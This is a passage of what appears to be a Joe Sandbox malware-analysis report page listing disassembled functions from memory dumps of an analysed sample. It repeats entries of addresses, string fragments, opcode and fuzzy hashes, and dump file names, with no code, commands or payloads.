Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: A$b
API String ID: 0-3696090935
Opcode ID: 05888b224ca719439e4d5b20c776851db1c4453a670ae3a8ddee063c33d12f07
Instruction ID: 3f2d411d38be2c15e63c7ded93a717fb38cdd65bc038458c474ee14920960c69
Opcode Fuzzy Hash: 05888b224ca719439e4d5b20c776851db1c4453a670ae3a8ddee063c33d12f07
Instruction Fuzzy Hash: D4818831118B264BC71DEA2899804E6B396EBD2324B95972EC5E3C70DADB31552BCF81

Uniqueness

Uniqueness Score: -1.00%

Function 010E282C Relevance: 2.7, Strings: 2, Instructions: 236COMMON

Download Yara Rule

Strings

{, xrefs: 010E28A8
f, xrefs: 010E289B

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: f${
API String ID: 0-2233739154
Opcode ID: f15338144c924fc355c470ef286eafac2132bcb58e408ac4f27dec6e89c1a038
Instruction ID: 5acfbffb752f771343b99868824fa2843bd1a074211c744a7fc7d7e531c0fd46
Opcode Fuzzy Hash: f15338144c924fc355c470ef286eafac2132bcb58e408ac4f27dec6e89c1a038
Instruction Fuzzy Hash: 6571DB725186168BD718EB2DE8101FB73D3EFE4320F54C63DE18A876D4E73A541A8B81

Uniqueness

Uniqueness Score: -1.00%

Function 01065863 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

o, xrefs: 010659B0
H, xrefs: 0106595F

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: H$o
API String ID: 0-2905446405
Opcode ID: 947dad856c9ee5643a62c17419da75a7b4a4dd86d27a0c1572513b4b52e0a630
Instruction ID: 31c2ad979009833ffdc9d7a7ea4ae55a905654ed5d8dd1fc1d1ce843bf4ee06d
Opcode Fuzzy Hash: 947dad856c9ee5643a62c17419da75a7b4a4dd86d27a0c1572513b4b52e0a630
Instruction Fuzzy Hash: F371883152871A8BC31CAE6CA8955E6B3E6FBC5315F608A3DD9C7C70C0DB6A491B8B41

Uniqueness

Uniqueness Score: -1.00%

Function 00FA34EC Relevance: 2.7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

Strings

v|vs, xrefs: 00FA3501
~t~{, xrefs: 00FA350F

Memory Dump Source

Source File: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: v|vs$~t~{
API String ID: 0-108253819
Opcode ID: e1e3fad73c4365328b4c001d74c7ef881f532e5b3ac756885a162530c71f7eea
Instruction ID: 9e6019533a4ae2e77ca1db84e3131d35ddd6ae0e6690a1e17b3b277438e937a1
Opcode Fuzzy Hash: e1e3fad73c4365328b4c001d74c7ef881f532e5b3ac756885a162530c71f7eea
Instruction Fuzzy Hash: 28818EB1904B418FD724CF28C591BA3FBE2BB86304F18891DE0AA8B792D735F915CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00FC8CC6 Relevance: 2.7, Strings: 2, Instructions: 215COMMON

Download Yara Rule

Strings

1L$, xrefs: 011F075F
F, xrefs: 011F0767

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 1L$$F
API String ID: 0-3669125777
Opcode ID: 38a61a8bf2215f0426076e38e3d633240ba032233e9295f5b493fc031c6139fa
Instruction ID: aedd3cb8aa66a377396409971b77c3c583050d0a3882c4071322a5c0c34dc02e
Opcode Fuzzy Hash: 38a61a8bf2215f0426076e38e3d633240ba032233e9295f5b493fc031c6139fa
Instruction Fuzzy Hash: AA71397161D7069BD31CEF68E8424AAB7E6FBC4320F648A3EE1C6C3595E7359405CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00FCE00A Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

q, xrefs: 00FCE02A
3, xrefs: 0112B925

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 3$q
API String ID: 0-260448983
Opcode ID: 20c247fa2e20174dfd240a0157f052358e5eadcc40743cf65382c6c80cba04f0
Instruction ID: d037c1c5ba257a9da4d63ed03c027bead5be781c3ce1b8de0f179892bbe21a9e
Opcode Fuzzy Hash: 20c247fa2e20174dfd240a0157f052358e5eadcc40743cf65382c6c80cba04f0
Instruction Fuzzy Hash: E671A9350087564BC719EF3CD8458AAB7E2EFD6315F20CB6EE0AA870C5DB79442ACB41

Uniqueness

Uniqueness Score: -1.00%

Function 00FE68DC Relevance: 2.7, Strings: 2, Instructions: 213COMMON

Download Yara Rule

Strings

}, xrefs: 0128EE8E
K, xrefs: 0128EC9E

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: K$}
API String ID: 0-1557288724
Opcode ID: b16712de948b270a6a047dae35cccff58018b88c13c6fe926a3b19322fa363c2
Instruction ID: ad0301e190fd0ca66993e672999f50e8e00076c0d7572368ea80b4cce9611bba
Opcode Fuzzy Hash: b16712de948b270a6a047dae35cccff58018b88c13c6fe926a3b19322fa363c2
Instruction Fuzzy Hash: 04715431508B168BC328EF6CD8455AAB3A4FFC1320F618B3D9497834D5E7349416CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 01268DF7 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

h, xrefs: 01268E10
F, xrefs: 01268E33

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: F$h
API String ID: 0-970399916
Opcode ID: 8073b626853ea108d8f324dcbe9a111e2732c33b517de2bed1cb3d1d18147449
Instruction ID: a51ef959ab0de4247a5f976d4fb8f83cc42a2bfb37901c036a49ff97f8ae7696
Opcode Fuzzy Hash: 8073b626853ea108d8f324dcbe9a111e2732c33b517de2bed1cb3d1d18147449
Instruction Fuzzy Hash: 0271A5322086524BC30DEE3CC4924EAB3E6EFD5320F54893ED596C74D5EB39911AD742

Uniqueness

Uniqueness Score: -1.00%

Function 010ED2F5 Relevance: 2.7, Strings: 2, Instructions: 198COMMON

Download Yara Rule

Strings

c, xrefs: 012A21DC
$, xrefs: 01279466

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: $$c
API String ID: 0-3847677546
Opcode ID: c001b34deb4c1a732f4cfb8ab0ed72d32b80cc967deb6ee5061ff6c8b5fbad9e
Instruction ID: 08a29c607daa7a99cbf80b49e89b153b75cb29a460d1228bb46118ccb8c2331f
Opcode Fuzzy Hash: c001b34deb4c1a732f4cfb8ab0ed72d32b80cc967deb6ee5061ff6c8b5fbad9e
Instruction Fuzzy Hash: 3F51FE326147164BC718DE7CD8511EA33D2E7E5320F54973EE4AAC35C4DB39844ACA80

Uniqueness

Uniqueness Score: -1.00%

Function 011A4D72 Relevance: 2.7, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

q, xrefs: 011A4E36
S, xrefs: 011A4E23

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: S$q
API String ID: 0-1196550647
Opcode ID: 8bf62b6c3f60a006b14aabd8db1955e2e1c0c2afe54177a0116f4e8d94f5991f
Instruction ID: e31dcba9b56d6d75385e0df0c05091ed355bde3a3fb96ce9e01d33f78c82aa61
Opcode Fuzzy Hash: 8bf62b6c3f60a006b14aabd8db1955e2e1c0c2afe54177a0116f4e8d94f5991f
Instruction Fuzzy Hash: A9619B3161861A4FC71CEF19E8815EEB3E2FBD9310F508A7EC58687194DB706A25CF82

Uniqueness

Uniqueness Score: -1.00%

Function 011332FE Relevance: 2.7, Strings: 2, Instructions: 194COMMON

Download Yara Rule

Strings

e, xrefs: 011FE824
5, xrefs: 011FE83C

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: 5$e
API String ID: 0-298945048
Opcode ID: fc40b32ce7b5304aef4e8c8f91c27326346b7aa403fac123d424ff4ad4929b46
Instruction ID: 5cf733cb78f8587fc13ba02c34de494c47636f26a448f4fbc754cdba08475048
Opcode Fuzzy Hash: fc40b32ce7b5304aef4e8c8f91c27326346b7aa403fac123d424ff4ad4929b46
Instruction Fuzzy Hash: B851AB31528B154BC31CEF3898956F773D6EBD1319F50563CC8C7C3196EA6650078A86

Uniqueness

Uniqueness Score: -1.00%

Function 011FD8DA Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

!, xrefs: 0108BCEB
,, xrefs: 011FD962

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: !$,
API String ID: 0-100563072
Opcode ID: 279fee727fe611c8c828a75711345f4f5f3a112fc83fd8dc058c6b499c6642e3
Instruction ID: ba6502c9fadeb77248ba8a921fb854eb08a8437610d3e6d047d5131f249d52e0
Opcode Fuzzy Hash: 279fee727fe611c8c828a75711345f4f5f3a112fc83fd8dc058c6b499c6642e3
Instruction Fuzzy Hash: AB616772618B038BD70DEB38D8412A6B7E2EFE5320F14863ED18A876D1EB359416C741

Uniqueness

Uniqueness Score: -1.00%

Function 011041DD Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

', xrefs: 011042BC
4, xrefs: 010F041D

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: '$4
API String ID: 0-304061540
Opcode ID: 66b69dea1caf8430563e5d1005bb670faef086630f7605e0d0e8c3cb245ddf97
Instruction ID: 6f9fb6a8de1095ea6ea79ecd7a02b3025cb279be11ccbf7cbe2855d861b6a9e8
Opcode Fuzzy Hash: 66b69dea1caf8430563e5d1005bb670faef086630f7605e0d0e8c3cb245ddf97
Instruction Fuzzy Hash: 00616835609B168BC728DF29D8404ABB3E2FBD5310F11DA2CD59BC76D4DB35A81ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 00FCA2D7 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

B, xrefs: 00FCA342
&, xrefs: 011FEB70

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: &$B
API String ID: 0-2864390746
Opcode ID: 69c303011baf804a813e5c28c51574aca8571668fa21bf6ff71986ac73d885b8
Instruction ID: c436036611722bd8df5ea63cfce15de9becb9da93a4dbb2802a1907c28e0706c
Opcode Fuzzy Hash: 69c303011baf804a813e5c28c51574aca8571668fa21bf6ff71986ac73d885b8
Instruction Fuzzy Hash: 4F518566058B5B4AC70CEB29E8914FAB7E1EBC3320F14D72E91D3834D5DA79101BC782

Uniqueness

Uniqueness Score: -1.00%

Function 00FCCB8A Relevance: 2.7, Strings: 2, Instructions: 176COMMON

Download Yara Rule

Strings

C, xrefs: 00FCCBE1
~|$, xrefs: 010722C8

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: C$~|$
API String ID: 0-2193174604
Opcode ID: 180915842b59e381cce242871e1aa1bc79b518389b40d00b3e2ab2be7ee2712b
Instruction ID: 276b57c57fbb2e8be632168e724bf62322461e58fa17e24e396443c31eed41f9
Opcode Fuzzy Hash: 180915842b59e381cce242871e1aa1bc79b518389b40d00b3e2ab2be7ee2712b
Instruction Fuzzy Hash: 5B51AB71504A138FC719EB38DC145EAB3D1FBE9314B948B3CE1968B6D9EB359412CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0101CBB2 Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

B, xrefs: 0101CC77
#, xrefs: 0105B8AE

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: #$B
API String ID: 0-2893078705
Opcode ID: c9ea2b1d4864dcc46a7ea42b9ef2a11c7abf055eeff3d0aa223d07dcb1080ecd
Instruction ID: 14abf1b59a2f4e15e22d4922667ff473a207b911c5660336cad83df616da41e0
Opcode Fuzzy Hash: c9ea2b1d4864dcc46a7ea42b9ef2a11c7abf055eeff3d0aa223d07dcb1080ecd
Instruction Fuzzy Hash: 8C514331A0C7128BC714EF1CE8845ABB7E1FFD9314F149A3DD58A8B294E735A109E742

Uniqueness

Uniqueness Score: -1.00%

Function 0111DD10 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

d, xrefs: 01234C4D
%c, xrefs: 01234C8E

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: %c$d
API String ID: 0-1192145294
Opcode ID: 25885e7531186f9ff6dc26d7896efb3c489549b1ef4e20301280bcf30dd52445
Instruction ID: 49dc20c5e471ede7931fde2e25d6a43e454114cb09f4f0e53b8ce17be569ef9a
Opcode Fuzzy Hash: 25885e7531186f9ff6dc26d7896efb3c489549b1ef4e20301280bcf30dd52445
Instruction Fuzzy Hash: DB51B83261C3124FC31CEA38D4946ABB7D2EBD5360F50CA7DA19AC78C0E7BA9005CB46

Uniqueness

Uniqueness Score: -1.00%

Function 011835A2 Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

7, xrefs: 011E6B66
+, xrefs: 011BFAC3

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: +$7
API String ID: 0-3085923198
Opcode ID: 28a120cab158e4a83fc644974579af9e89565b06ee169d66b541fd28a2795c40
Instruction ID: 280681c91b70d337bcec9fbee338c30a00018209398c3aa14073afb1c7a31706
Opcode Fuzzy Hash: 28a120cab158e4a83fc644974579af9e89565b06ee169d66b541fd28a2795c40
Instruction Fuzzy Hash: C241793566CB054BD31CEA39E88A4FB7392FBD5311F40CA3E94D787489CB394506CA86

Uniqueness

Uniqueness Score: -1.00%

Function 00FCA701 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

%, xrefs: 00FCA7F4
}, xrefs: 0121007A

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: %$}
API String ID: 0-513519934
Opcode ID: 2e29c97268becfc7b8578e885b4be3a21ea9d0812073996ab09ae0d7fbc51c71
Instruction ID: 795a9eafce76af01b7274975cf0a31130b16ffd6c4f27a2025ee34d9743017db
Opcode Fuzzy Hash: 2e29c97268becfc7b8578e885b4be3a21ea9d0812073996ab09ae0d7fbc51c71
Instruction Fuzzy Hash: 9B5134726187428BC719DF38D8805ABB7E2FFC5310F14876CE69A839D4D7359416CB82

Uniqueness

Uniqueness Score: -1.00%

Function 011B9DBC Relevance: 2.6, Strings: 2, Instructions: 135COMMON

Download Yara Rule

Strings

", xrefs: 011B9EFB
/, xrefs: 011B9E65

Memory Dump Source

Source File: 00000000.00000002.1761199937.0000000000FC8000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.1761122584.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761141354.0000000000F81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761166396.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761182408.0000000000FBD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761440755.00000000012C8000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761801169.00000000018E5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_file.jbxd

Similarity

API ID:
String ID: "$/
API String ID: 0-2662438755
